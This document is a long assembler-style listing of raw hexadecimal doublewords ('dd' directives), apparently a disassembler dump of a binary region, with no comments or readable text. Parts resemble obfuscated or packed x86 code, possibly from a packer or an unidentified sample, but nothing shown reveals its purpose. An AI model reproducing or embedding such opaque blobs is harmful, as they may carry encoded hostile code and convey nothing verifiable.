		dd 3D36E0CEh, 0CCBE655Fh, 894BF480h, 0A814B5B5h, 0DD95FF06h
		dd 6A06A820h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0C845C356h, 0FF006A5Ch, 0A81B3195h
		dd 0EBC08B06h, 6EE57C49h, 0A1DB29D3h, 0AD9D4901h, 710BA900h
		dd 0C26950E6h, 324E9626h, 2A29D05Dh, 72FCF771h,	0BBEB421Ah
		dd 528FEF3Fh, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h,	42C61495h
		dd 49BEEDFh, 9E067F6h, 51F573D5h, 0C07F17D4h, 3D20F585h
		dd 322006B0h, 33900E31h, 0CB080131h, 2401B41Ah,	0BE640799h
		dd 320FE8E9h, 6FD40131h, 214EDF63h, 7DEA3CB2h, 0A628145Fh
		dd 0B6070599h, 320400E5h, 0B114EEB1h, 9A16248Ch, 0B68F0137h
		dd 32400146h, 0DA75015Bh, 32100132h, 6FCB5C11h,	36206DB8h
		dd 362645B0h, 3201012Ch, 0F2435474h, 63D6D21Ch,	1FCA8E46h
		dd 3217E814h, 0CFAC0131h, 82512691h, 0DB626174h, 32010123h
		dd 5A315B6Bh, 0B9DBB94h, 0CCE250EAh, 0B4C6B7DBh, 8D07ACB5h
		dd 0B96260C1h, 5FEB60C3h, 58010130h, 31685331h,	12400131h
		dd 0BB7AC26Bh, 0B3142565h, 270C2575h, 70040131h, 0E2F9C263h
		dd 62FF8A57h, 3609DEBAh, 8BD58815h, 3D26A924h, 0CC344D30h
		dd 28D19402h, 0BB5C0799h, 9A28D4A4h, 0F5806737h, 0F2031727h
		dd 8FD5881Dh, 0B926A921h, 3958839h, 540EA93Ch, 58F849BAh
		dd 31EA5331h, 12010131h, 0BBDAC26Bh, 0B3442565h, 25242575h
		dd 70100131h, 43AC263h,	8D0B656Eh, 0B8367C1h, 0B60EFE07h
		dd 3280019Ah, 1019BCBAh, 0F3A30799h, 64106B38h,	320802D9h
		dd 0F15A2131h, 1676886Fh, 16458035h, 32801C35h,	0F1164731h
		dd 9345794Ah, 0EB5C91DAh, 0CA8342FBh, 3DED38B1h, 3202AEB4h
		dd 4BB43031h, 0B986A936h, 322A0070h, 3223E964h,	6F300131h
		dd 5E815CF2h, 76850515h, 321E0515h, 67440131h, 600536F2h
		dd 34E8D27h, 0BF09AFBAh, 34B807B0h, 31F38A57h, 8C62F8F9h
		dd 0F38189C0h, 63016B34h, 328002D9h, 0F1192131h, 166C8868h
		dd 16548035h, 32081935h, 0F1554031h, 2D4F18D3h,	0A23880ACh
		dd 3D0B427Ah, 324042B4h, 4F952831h, 0BF16A911h,	9A47AEBCh
		dd 31BCF937h, 58020131h, 31E95231h, 12800131h, 0BB1BC26Ah
		dd 0B324256Dh, 2B142575h, 71080131h, 33CBC262h,	7CD9015Eh
		dd 67D8BE57h, 3349BC38h, 0D3BF0799h, 0C65BBF57h, 321CE850h
		dd 0DD930131h, 0F4A3A1Ah, 3E5CBFD6h, 8F8C42B5h,	342D38B4h
		dd 9F98CBCh, 4698079Ch,	11193B2h, 9A0D8CB4h, 0F3CB2A37h
		dd 3D2003D8h, 322006B0h, 33900E31h, 0CB080131h,	2401B41Ah
		dd 0BE640799h, 0E983E8E9h, 8BA4F305h, 79BD8BC0h, 2B06A809h
		dd 0A815899Dh, 0E9C38B06h, 0Ch,	1FB17B57h, 2 dup(0)
		dd 577E9h, 2D640300h, 5C193699h, 8AC365CEh, 0BAFF933Ch
		dd 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h, 8ABFFB6h
		dd 0E9E2C65h, 126EAADCh, 1654B605h, 155CFF29h, 276E0EF1h
		dd 9477A1FAh, 0A2E6204Eh, 60AF57D7h, 0B1E913B7h, 93AF57D6h
		dd 8EAF70B8h, 0B9DC47C3h, 77850711h, 4FF9D3A5h,	0AF581A4Bh
		dd 4C251E39h, 561F3EE7h, 7E3B58C9h, 48E94231h, 0DF6B2241h
		dd 6D99D074h, 97CBE7EBh, 1D40AB29h, 573D7B54h, 0E58948ECh
		dd 0B96AB7A0h, 0CD36D499h, 0E484E5A0h, 811700ADh, 0AAE38122h
		dd 50F89C05h, 0E36BFCEBh, 1499721Bh, 0F180219Eh, 703CE5CEh
		dd 0D278B0CAh, 0E14AAF58h, 0D44E8B7h, 0F37716B9h, 58D25149h
		dd 0B5F517AFh, 8FAF58D1h, 0DD0922A4h, 58D26FABh, 1FA55AFh
		dd 0EE18469Ch, 0AF58D1AAh, 0EF79BF98h, 0AF58D1A8h, 1E1C8512h
		dd 12DF2D22h, 5B236BEDh, 0E1E85253h, 4085B7h, 0FF9E0000h
		dd 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h,	965h, 0F3947F00h
		dd 625B1236h, 52FFED36h, 74198A17h, 1F33EC31h, 8D7ED55Ah
		dd 35701D24h, 662F4EF1h, 0BFD93A20h, 0B8F595F6h, 5EFF2B70h
		dd 78158E13h, 22FF03Dh,	2549DA47h, 420BC360h, 9A61307Eh
		dd 3BE4D1F0h, 638955BCh, 5852E1D9h, 0EAA3C2AFh,	0B9925445h
		dd 52BFFB0Dh, 0AA85AF58h, 50C950Eh, 7BFD2964h, 7286111h
		dd 9D87B04Ah, 0D2388216h, 0DDE09D98h, 2A8E67EFh, 2AFE685h
		dd 0B25A92E4h, 0CC032D18h, 64A5C36Ch, 8218EC3h,	452E921Fh
		dd 0C712DEDCh, 793512DFh, 0E000000h, 8E135EFFh,	0F53A7315h
		dd 0D9460B2Ch, 0C26F2A48h, 0D7A6E224h, 0B39CAF57h, 0EE6D36BDh
		dd 0B55DE4Fh, 0D85F5BEDh, 0A25AF57h, 2D6001AEh,	95153699h
		dd 57D83773h, 49220DAFh, 0D510329Dh, 0A300F9B4h, 322B6202h
		dd 0F69C05E6h, 218A6EB3h, 8BBA3C80h, 0CABCB98h,	0AE4AEE4Ah
		dd 0A912DFDEh, 50h, 135EFF72h, 3E77158Eh, 4BD4DFF1h, 0D86E2344h
		dd 0F8BDD132h, 0ED3662BBh, 0FC9F52FFh, 9757DCB5h, 0AF57D790h
		dd 0FB387113h, 0DF44092Ah, 0D6C1F903h, 0A883AF57h, 94238C29h
		dd 2E43ACDAh, 3D5DC66Bh, 0BA118770h, 0D60DF9F9h, 1E812DFh
		dd 33000000h, 0B5A930BAh, 38474385h, 123DAF58h,	156986D8h
		dd 0D47C1C83h, 82C44E6Ah, 0AF589F86h, 191BD37Ch, 0F72EB819h
		dd 1C266798h, 0CE57DCB5h, 0B6B9E6AFh, 0EB8D941Dh, 71A364A2h
		dd 54F61CCAh, 0AF58D154h, 4993052Eh, 0DD9C3Fh, 60CD66B6h
		dd 51D59CBFh, 0DBE74FEEh, 0FFDE9B20h, 0DF1F847Dh, 0B600EDD9h
		dd 2E913F25h, 7CBC460Fh, 27B600EEh, 91BA4C05h, 0FC03AC07h
		dd 298A1059h, 3CA7430Ah, 0DDCE5316h, 9172E85Bh,	2677BCF1h
		dd 470E2DF2h, 35FE57DAh, 0C0460F2Eh, 76C17854h,	1209F14h
		dd 7E610000h, 1A0197DEh, 0D80EB5E7h, 723AEh, 0E936E1B6h
		dd 0CE5C1538h, 228FC665h, 6ABE281h, 82892A83h, 0DA7C67E3h
		dd 0E9110A97h, 0B60006B1h, 450C3093h, 8737736Ch, 1477E6ABh
		dd 3872h, 0B6E7D500h, 4DADDF0Bh, 372F57D7h, 5357971Ch
		dd 452F57D7h, 5910349Fh, 0FE55C3D4h, 3A853635h,	8E38668Ch
		dd 2F57D78Ah, 8F59DF78h, 0AF57D76Bh, 27A8FE59h,	0AAh, 0EB5E702h
		dd 0EE14B2D8h, 57D75C5Ch, 0C50D26AFh, 0AF57D6C5h, 33761CBFh
		dd 7508DE5Ah, 4FB6000Ah, 0BDDDC6E4h, 3E7AB3F0h,	0D16B914Dh
		dd 0B60009D9h, 872880ABh, 0B619ADE4h, 8951DE97h, 0B6000B8Ch
		dd 2B32F3F8h, 0E1A4C908h, 0AB09B208h, 264CEA10h, 0B4A4EF8h
		dd 1F38B600h, 0AB3F7h, 72A691B6h, 0AD469BF4h, 0C1624DBCh
		dd 0C1E22C8Ch, 0DB7AEBA2h, 0AB74B992h, 9D5CC188h, 0DC706F30h
		dd 0D3254367h, 7E79D9F9h, 8BAC1D6Dh, 0E84059C6h, 5ABC011Eh
		dd 0FB9E7C3h, 0C35ABC0Bh, 34DA5EF9h, 0BC74B4D6h, 6D4EC35Ah
		dd 0B5AE87CEh, 0B5E74A71h, 8B2D80Eh, 0AF57D710h, 15DF59F2h
		dd 5129EF3h, 66CB64B6h,	814A7EF8h, 2FBA9008h, 4E072689h
		dd 0F10A5E98h, 6520F548h, 60539C23h, 9206FF47h,	42E1C228h
		dd 0B1AAEF83h, 5454F66Ch, 2EB605A6h, 238C2C05h,	7EE44900h
		dd 0A672B6D0h, 0E750B605h, 0E11EB7B1h, 0C6B7CF21h, 7E37565Dh
		dd 0A0982248h, 62CF21E1h, 0AFEB1DC9h, 95CF21E0h, 6E947EBAh
		dd 7B85FBECh, 3D7BD8DCh, 6C9AD372h, 158484C6h, 0D57ECF22h
		dd 133FE043h, 0AD06C956h, 175EFD04h, 440D3093h,	1466DFh
		dd 0B0410000h, 0B86AEC0Ah, 7A59A6AEh, 72DADEF8h, 8FA8AF58h
		dd 58FF0229h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 50FA4AD7h
		dd 4055854h, 83000000h,	48704E8h, 6A685C24h, 8900001Bh
		dd 0F568243Ch, 8900000Bh, 6853241Ch, 6F5335E5h,	83241C8Bh
		dd 0C38104C4h, 1086279Fh, 18DC381h, 0D3F72BF8h,	9B0EC381h
		dd 0DF89B27Eh, 2FED685Bh, 24890000h, 24048124h,	4, 4EC835Bh
		dd 89242C89h, 86B89FDh,	241C8B5Dh, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 0FF5C240Ch, 835F2434h, 53E904C4h,	38FFFB3Ch
		dd 41D8AA91h, 0AD40EEB8h, 0FFC50306h, 96EE91E0h, 34A0EC62h
		dd 0EA532E72h, 8A5F5C15h, 0B918D562h, 0E3B02861h, 0A97FCE79h
		dd 0D1608369h, 0B26C8E28h, 0E76F4C7Ch, 3162FF19h, 7D2AFC69h
		dd 68973A0Ah, 6257F06Ch, 73525B7Bh, 12C3A921h, 9558CC60h
		dd 97AFB21Ch, 0DD5E5108h, 0FE57DB1Fh, 82E30948h, 0C0BA0E47h
		dd 0C67C46Ah, 2090C76h,	0D3578A74h, 23168106h, 33322E47h
		dd 0AA9C9F5Ch, 0AD33853Eh, 8BA20A39h, 1AE6F131h, 0BE8D8D12h
		dd 6A06AD42h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9486C356h, 1E04038Bh, 0FA9B7C3h
		dd 0FE9C3B7h, 18000000h, 97BC2317h, 0B18B3204h,	76039DCFh
		dd 8D8946D6h, 6A805B9h,	6860Fh,	0B5010000h, 6A83229h, 146985C7h
		dd 746C06A8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0BDF347C3h, 9F59AD0Ch, 3554D281h
		dd 85C70F51h, 6A80BBDh,	0
		dd 0F9B70F60h, 6890Fh, 0B58B0000h, 6A80D39h, 0C38B6661h
		dd 2A11B5FFh, 0BB6606A8h, 95FF90D2h, 6A820DDh, 10F19589h
		dd 880F06A8h, 0
		dd 95FF006Ah, 6A81B31h,	0DEBC08Bh, 0C7C1FDB7h, 0EFD7BEBEh
		dd 0A43D4D77h, 0FE8E6h,	44540000h, 0AE4EDAB0h, 1945873Dh
		dd 2813ADEEh, 0DDB589ECh, 5E06A819h, 12CA8166h,	35C6817Ch
		dd 8000005Bh, 0BF47D6h,	9000000h, 0A814C995h, 3E048B06h
		dd 81D6B70Fh, 89B8B4C0h, 81D98B3Eh, 0C175A0C0h,	5D9D2B34h
		dd 8106A821h, 676D74C0h, 89EF8A72h, 5BB23E04h, 81D68B66h
		dd 1A6685EFh, 0C781FC1Ah, 1A1A6681h, 14E9h, 669B0000h
		dd 0C4EE3E64h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h, 80FF817Eh
		dd 0FFFFFA5h, 1A85h, 0F22CBA00h, 24E92C2Ah, 0CE000000h
		dd 6FC4BF4Ch, 0BDAF8C0Dh, 0D978BF10h, 8043272Eh, 82E9A2D3h
		dd 0E3FFFFFFh, 28DCA9CBh, 19B30ACFh, 0E9CC78DCh, 7, 6D6E87EDh
		dd 0E9000000h, 526h, 2A703960h,	65A1E489h, 53D79EBAh, 830742F0h
		dd 0F4327F20h, 0A7C84A6Fh, 53F35CEAh, 527881Eh,	3655FE4Ch
		dd 0A9B32B7Fh, 51A1B1Fh, 84A3E9B6h, 88155CFFh, 54F67617h
		dd 0AF57D754h, 0FE2C052Eh, 0FE3A7315h, 0C188AB14h, 0E9A0C35Ch
		dd 0F3B6DB44h, 0FF57F5AEh, 189E9BE0h, 61CEA7BEh, 4ED39EC0h
		dd 0BEFDB8D5h, 0EE1864CDh, 0AF582EAAh, 57C6BF98h, 41082C97h
		dd 0ACB37CD7h, 0D97AC089h, 94D97ABBh, 0E1251E0Fh, 0CA571E3Eh
		dd 0FB93959h, 0AF582F0Bh, 41ED5EF9h, 1D862B04h,	36EF3471h
		dd 13D65B12h, 577AF9BAh, 0CD84A40Fh, 0AE13760h,	682A2A9h
		dd 582EC4C4h, 0BC95BEAFh, 0C803CC0Eh, 61454A73h, 2E9F88CDh
		dd 6ED44401h, 42EFA6C5h, 58A87DB8h, 47E8CFAFh, 0DF075F4Bh
		dd 2D9612h, 2447D845h, 0FED7C06Dh, 6198BAh, 0FFA30000h
		dd 6AAED85Ch, 39AF57D7h, 0B893531Ah, 5E8462CFh,	57D6EC2Ch
		dd 159CD6AFh, 606345EDh, 499F19F2h, 0AF588D4Fh,	2A0D4FBDh
		dd 738F28EAh, 8456F5CFh, 27B1984Ah, 99991AF1h, 12DFB3ADh
		dd 148h, 52FFD300h, 74198A17h, 1F33EC31h, 8D7ED55Ah, 35701D24h
		dd 0EE2F4EF1h, 819A074Eh, 0FF3512A8h, 0CF7135Eh, 0C48DAB66h
		dd 0F4554E5Fh, 83941950h, 40EDB615h, 6B079805h,	5E49812Eh
		dd 84301C5Bh, 773E5ECFh, 941D962Ah, 9011BA05h, 61A5E889h
		dd 49D69FBEh, 0CDF9B0D8h, 0A4094CE2h, 0E2462573h, 0BAF79778h
		dd 1FF42475h, 1AACCA96h, 0AF58691Eh, 7ACE985h, 3D7BD416h
		dd 0DF467D79h, 9A9812h,	81620000h, 4E0725E0h, 59DFC8E1h
		dd 3459BA52h, 0D7782771h, 0EC8C159Ah, 0FF9E01A5h, 0F83069B6h
		dd 7233A80Bh, 0A41FAC2Eh, 0DAD23B5Fh, 0FDB0D15Eh, 3D6043A9h
		dd 0BAFE2F74h, 941954F5h, 89300C4Eh, 0D1D2422Eh, 0FFBAD847h
		dd 1F1BADCBh, 0EDAF581Bh, 0C1DAAA9Ch, 0A58E50C0h, 5B309073h
		dd 821CD8DAh, 4C3B12DFh, 0CD000000h, 4550158Bh,	4EEA784Bh
		dd 135EFF65h, 0AA670CF7h, 4A63C085h, 0BB64C751h, 0AFEB1D99h
		dd 95AF57D6h, 2C5CC1BAh, 0B6D7DE47h, 5B8DCFFBh,	0B67F1B18h
		dd 0B309A1Eh, 8A1752FFh, 57D74540h, 7F20B7AFh, 0DFD68773h
		dd 16612h, 0FFB90000h, 12931059h, 0D89DB273h, 4DE142EFh
		dd 58FAAB08h, 0AC098815h, 604D7403h, 0D990B8BFh, 0E15AFA4Dh
		dd 0E42883C5h, 311AB5FFh, 591033ECh, 47C362CDh,	0FFE40505h
		dd 0F354FFB5h, 99921F52h, 0BDFB03A0h, 9B5FFE3h,	5BFA01A2h
		dd 82B9412h, 183AA541h,	59DFC855h, 531A39EAh, 7F3655CEh
		dd 9DD07132h, 7B249110h, 773895FCh, 0E0A5CA35h,	61CE6A43h
		dd 9F3F8BC2h, 1477DBA3h, 1264Ah, 30BADD00h, 89B846BAh
		dd 0BA14C999h, 66CC2BA3h, 0DA7ACD6Bh, 0C0034561h, 82B600B6h
		dd 0E54A0321h, 0AD2FDBB4h, 714F390Fh, 0FD9F0063h, 5B8764B4h
		dd 1E9AD778h, 6FBBF291h, 4BE8A1C4h, 0ADF2BBDAh,	0D9E041EAh
		dd 7B7F3BAh, 1477652Bh,	5FF2h, 30BA5500h, 46AF97AFh, 0D274D57Ah
		dd 2D8E199Fh, 0B6D27492h, 8C2F5872h, 0F99C07A3h, 438B78B0h
		dd 2F587347h, 29763B5Ch, 159AD778h, 13812299h, 231BB35Bh
		dd 7DD9B269h, 0ED4E5DC6h, 0F612B452h, 0E8AF5883h, 8B2D6407h
		dd 8FC66245h, 8A100922h, 8484C66Ch, 7EAF5884h, 78FC43D5h
		dd 0DF000000h, 0D80EB5E7h, 7A3351B2h, 0A55283Eh, 42FB600h
		dd 2E67069Fh, 3F7A17F8h, 957FB9F2h, 0DD420B2Ah,	0B181Dh
		dd 0A60F64B6h, 1B3DFC9Fh, 0E3DCCD52h, 83B0E4A7h, 17B3ACE5h
		dd 0AD4E44F5h, 88153EBCh, 0F03D7417h, 0DF440D2Fh, 4DC1F903h
		dd 0A883BCADh, 0D15E1B37h, 0EC6B34BFh, 65278825h, 2E58D87Ah
		dd 0BCAD4DEAh, 19867FD8h, 0BD1FA800h, 0F1A6E006h, 0D3C35A91h
		dd 0E7052278h, 0AED80EB5h, 0B6051AF9h, 0A47E8CBh, 70138C11h
		dd 944B8D39h, 252EC2FFh, 3EE16BCDh, 1C9561Fh, 21C996D8h
		dd 9CA30CF9h, 8C6AB0F9h, 4FEE0F4Ah, 0C7512DC2h,	377C3558h
		dd 1885C06Eh, 6933FCD9h, 7ACE986h, 0CB868BF7h, 0FF8EE59h
		dd 0F1C181F7h, 1976908h, 70B6FF9Eh, 0C1E5ACCFh,	8429619Bh
		dd 0B81B21C9h, 5851DE9Bh, 0E95AC96Fh, 0Ch, 0C00AB0CCh
		dd 495D321Dh, 5B40E81Ch, 8C1158FFh, 0F4397013h,	0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 66E968FAh, 4890000h, 0E1895124h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 68240C89h,	68CDh, 53243C89h
		dd 0A00314BBh, 31F3815Ah, 0C10EA36Eh, 434306E3h, 0EB81E3D1h
		dd 0FB094EE5h, 1C8BD989h, 4C48324h, 243C8B54h, 4C481h
		dd 0BA520000h, 8, 0A89FA01h, 8324148Bh,	34FF04C4h, 0C4815F24h
		dd 4, 592434FFh, 0E904C483h, 0FFFB3506h, 3599186Ch, 0E276E705h
		dd 44B8E9F1h, 306AD48h,	0E1E0FFC5h, 0FA5C38DBh,	0A92E01C6h
		dd 8D34AC4Eh, 0C71E5019h, 0FA30D107h, 5F1C1ED4h, 98782CB8h
		dd 4451F26Eh, 34300345h, 0DA66F6B1h, 0BA3D9C8Fh, 9C23FC3Dh
		dd 0C83D36BBh, 8D0FFC45h, 0F04C821Ch, 341D1230h, 0E612923Dh
		dd 0FD476BB3h, 7A795AD6h, 0EE20506Ah, 4853E689h, 6C4C420Bh
		dd 651EAA7Dh, 0AD3BAD98h, 987BAEE5h, 0E22F6BB8h, 0B30676E3h
		dd 0DE5C352Ch, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 333033E6h, 0FFB44E60h
		dd 0F867A5E4h, 0A03029A6h, 3AE9A3BEh, 79672098h, 0C12DA3BAh
		dd 0D71B209Bh, 33302652h, 831D2933h, 0C0982633h, 0BD168B6h
		dd 0D6157635h, 0AF356F73h, 610DD963h, 839E8E26h, 35982664h
		dd 1F152359h, 4B356F63h, 0E61DAB63h, 39E8B7Ah, 0B351B3CCh
		dd 1493209Bh, 6AA1A23Ch, 0B0152633h, 9C356F63h,	4DAACE63h
		dd 0F6D82633h, 1ACEA3BEh, 24C8209Eh, 79D176B6h,	0FF677635h
		dd 33300406h, 1794E2B0h, 0E0D176B6h, 23157635h,	55356F73h
		dd 1C0DD963h, 3D9E8E26h, 6A982651h, 6474AD66h, 11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
		dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
		dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C356F0Dh,	7EBABBEh
		dd 9320209Eh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0B58DFFFFh, 6AD4A73h, 4A928D8Dh,	0CF2B06ADh
		dd 8B05E983h, 0C3DD82C8h, 0C3B49962h, 9897B831h, 9F3E07F2h
		dd 87362A15h, 0C3AC1315h, 90F48B31h, 3FA187F2h,	0CD594A52h
		dd 13087ED2h, 33C0084h,	0C21A8BB1h, 6B866784h, 1A0A9437h
		dd 0C3B1232Fh, 7E34CC44h, 0C51FCFD8h, 93AE0531h, 7B773362h
		dd 0C3B75832h, 0C402ABB8h, 5E3A1199h, 0C51D2A9Dh, 9BEC16CEh
		dd 0EE5E5FB2h, 0B7B77799h, 7BE4E826h, 0C3B75832h, 0C402ABB8h
		dd 5E3A1199h, 0C51D15AAh, 9BEC16CEh, 0DA2A67B8h, 0C3DD7799h
		dd 0C3B45067h, 9D975C31h, 0B73E70F2h, 87361315h, 0C3AE8F15h
		dd 95F1C531h, 53CDB5F2h, 0C2909114h, 6BBD65B4h,	0A377D737h
		dd 0CA06AB30h, 93D61199h, 0A5EC41BAh, 74B81DBDh, 0CCB34AE6h
		dd 0C3B307B5h, 93B7D231h, 0C3B75FD9h, 0EF0E31h,	0E7F39E69h
		dd 0E7F30A35h, 0C3B7DF35h, 0E7A231h, 7DE445FAh,	2A576123h
		dd 0C3B75C34h, 6F0EAB1Dh, 0E60A949Eh, 0C3B12326h, 0C3E0413Eh
		dd 0C3DDE231h, 0C3B49967h, 9D97B831h, 0B73E02F2h, 87362A15h
		dd 0C3A31315h, 95F18B31h, 42B852F2h, 0C3B7E234h, 5E21BD8Eh
		dd 0C7A65136h, 0C3DD5C31h, 0C3B4C664h, 9E971731h, 0AF3ED6F2h
		dd 8736C115h, 0C3A0E615h, 96F27131h, 0CE179BF2h, 0C20A7F96h
		dd 4AB18605h, 6BBE06A4h, 0E4B73537h, 0C3DDC731h, 0C3B40A60h
		dd 9A977131h, 8F3EE1F2h, 87365815h, 0C3A32A15h,	92F61731h
		dd 4E3CFFF2h, 0C51FDFE0h, 0C85A5FBAh, 463A7799h, 0C51C3A82h
		dd 4658DD57h, 0C3B9C7FBh, 0B2731731h, 8175A678h, 0B6A16832h
		dd 0C37B35E4h, 332A1CEh, 0C3553C3Eh, 78D15C31h,	0FB360D92h
		dd 38367166h, 0C38F0E3Eh, 0C3DDC531h, 0C3B40A67h, 9D977131h
		dd 0B73EE6F2h, 87365815h, 0C3A02A15h, 95F11731h, 8FD357F2h
		dd 0B10CA37Ch, 3A3C84E5h, 0C7CFF057h, 47B8BA33h, 0C3B75F49h
		dd 0E5EABBB8h, 42D11199h, 0CCD71709h, 0C3B74AB4h, 0AD008231h
		dd 8674CE57h, 0C1CF3850h, 0BE3253D9h, 0A9B72E31h, 0C05F4631h
		dd 0E3B78B31h, 4AEE0668h, 42B3C67Dh, 0D7B35575h, 82B7B831h
		dd 0C89A9F60h, 6BBB13ACh, 0BB367137h, 0CC1C8B37h, 0C3B78AB4h
		dd 93B78831h, 0C3B772D9h, 0EF9831h, 0E7F3D569h,	0E7F3AF35h
		dd 0C3B70035h, 0E7CB31h, 0BC4577Ah, 0C38E7F18h,	193C7799h
		dd 0C3B543D8h, 94B73631h, 0C3B72DD9h, 0E83731h,	0E7CB026Eh
		dd 0E7F34435h, 0C3B7FA35h, 0E03631h, 10904678h,	0B005361h
		dd 0C2B62E8Fh, 95B77D77h, 0C3B788D9h, 0E9E531h,	0E7C36B6Fh
		dd 0E7F3F035h, 0C3B7A235h, 0E11A31h, 4E251BA5h,	4E320373h
		dd 683538B4h, 94B7AF37h, 0C3B7E1D9h, 0E85131h, 0E7CB316Eh
		dd 0E7F3DD35h, 0C3B73935h, 0E05031h, 858FFCC5h,	4EBE15CEh
		dd 0C51FEDB4h, 0F30DE8Bh, 0CC773D0Eh, 0C3B512B5h, 91B74431h
		dd 0C3B714D9h, 0EDAB31h, 0E7E34C6Bh, 0E7F36335h, 0C3B76635h
		dd 0E5FA31h, 0A0CE36A1h, 0EE020751h, 0CCB1BF31h, 94D67086h
		dd 0A83B458Bh, 0FB36BB7Dh, 0C1B54C57h, 0C3833D3Eh, 48D15C31h
		dd 0C5CFAFFFh, 0B9E82A57h, 0C19D0F3Eh, 0C3DDC531h, 0C3B40A62h
		dd 98977131h, 9F3EE3F2h, 87365815h, 0C3AB2A15h,	90F41731h
		dd 5D1E86F2h, 3F23D40Dh, 42D18CC8h, 0CCD7ED09h,	0C3B7E3B4h
		dd 463A7531h, 43B1861Ah, 0CC5F1549h, 0C3B7C0B4h, 0C533CA31h
		dd 48B7E231h, 6BA114A4h, 0BB36DE37h, 0CC775C37h, 0C3B71DB4h
		dd 0C33D1831h, 2AB78B31h, 0C3B7C4F9h, 2BE7E25Bh, 0C3B77132h
		dd 9B74E011h, 0C79318B8h, 0C7936AB0h, 0C3B71725h, 0E074DB71h
		dd 0F22E48B8h, 4CB8E499h, 0C3B77131h, 0C2B6B88Fh, 90B7364Fh
		dd 0C3B72DD9h, 0EC3731h, 0E7EB026Ah, 0E7F34435h, 0C3B7FA35h
		dd 0E43231h, 0DCB6676Ah, 5A0AD750h, 4EB18636h, 6835A4B4h
		dd 3C6F0037h, 0C3B82CE1h, 3108E231h, 6479358Bh,	87EF5861h
		dd 0D1C7A145h, 332D2BAh, 0C292933Eh, 0C3DD8B31h, 0C3B42D64h
		dd 9E97E231h, 0AF3E2CF2h, 8736BC15h, 0C3AA5815h, 96F22E31h
		dd 3EE33F2h, 4FB157EEh,	36BE6CAFh, 0CC5FDAB1h, 0C3B700B4h
		dd 0C3BB5131h, 0A0CB5C31h, 0DF61B219h, 884BA924h, 0BB37DB12h
		dd 46B8B634h, 0C3B7E267h, 2BE6715Bh, 0C3B7B832h, 9A740511h
		dd 0C79362B8h, 0C79353B0h, 0C3B78B25h, 0E9749470h, 0C17E77BAh
		dd 0BB377799h, 47B8EB36h, 0C3B75CE9h, 2BE72E5Bh, 0C3B71732h
		dd 9B74D311h, 0C79381B8h, 0C793A6B0h, 0C3B77127h, 6474E871h
		dd 4E3C463Fh, 0C51F31D0h, 0D5E6AAB8h, 42D18D99h, 0CCB24A09h
		dd 0C3B798B4h, 4E9C1131h, 0C51FA6E0h, 0C5CFDC50h, 0AB322159h
		dd 0A9B71731h, 0C05FDC31h, 0E3B7C531h, 4AE8216Eh, 42B3554Dh
		dd 0D4B39C75h, 84B75C31h, 0F676ED66h, 0CA5E8B0Ch, 7EB78B31h
		dd 0CAD19366h, 889B6C12h, 0C8CFF057h, 46B89DCEh, 0C3B75C1Eh
		dd 925EFABBh, 0A9B71731h, 0C05FDC31h, 0E3B7C531h, 4AE8216Eh
		dd 42B3554Dh, 0D9B39C75h, 84B75C31h, 0A4C3ED66h, 37329EEFh
		dd 22A02DEh, 0E8B16D02h, 89058F1h, 0EB5E789Ah, 2AB7B831h
		dd 0C3B75C22h, 0D3A381FCh, 0A2B87CFDh, 83F9DF35h, 9C010099h
		dd 78F071D5h, 0A24B00B8h, 0C3B7B989h, 5E2A7531h, 93B18628h
		dd 79D14561h, 0F2B82298h, 0A2704E51h, 0C73EBA6Bh, 133C1715h
		dd 892305BCh, 4E3A5A9Ch, 0C51A7E06h, 0A5E23489h, 0D6328846h
		dd 0E8B16D24h, 0B6B88FFEh, 0B7364FC2h, 0B72DD990h, 0EC3731C3h
		dd 0EB026A00h, 0F34435E7h, 0B7FA35E7h, 0F305E983h, 816658A4h
		dd 1112DC7h, 0A8299195h, 0FC00B06h, 8D84h, 0AFB58D00h
		dd 0E906A84Fh, 0Bh, 0CBA7FF3Dh,	20220DFDh, 8978B580h, 0A807718Dh
		dd 3B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0AB6E4DC3h, 0C9D30E9Eh, 0AE9h, 500FF400h
		dd 8D1147D8h, 8045DFBFh, 0E6FFE3EAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0A1C35040h,	34E7A33Ah, 2A06D25Fh
		dd 68F0Fh, 0BD890000h, 6A81DD1h, 0BE5BF781h, 6A4052D5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C535C353h, 17BFC08Bh, 83195BA1h,	0A81ED9BDh
		dd 9750006h, 2DE9BD83h,	740006A8h, 8B535019h, 403B8C0h
		dd 85890000h, 6A80FD5h,	0A2139D8Dh, 0D3FF06AAh,	0BD83585Bh
		dd 6A82DE9h, 50177400h,	403B853h, 85890000h, 6A80FD5h
		dd 9EB49D8Dh, 0D3FF06AAh, 8D29585Bh, 6A81665h, 0FE9h, 3B8A6E00h
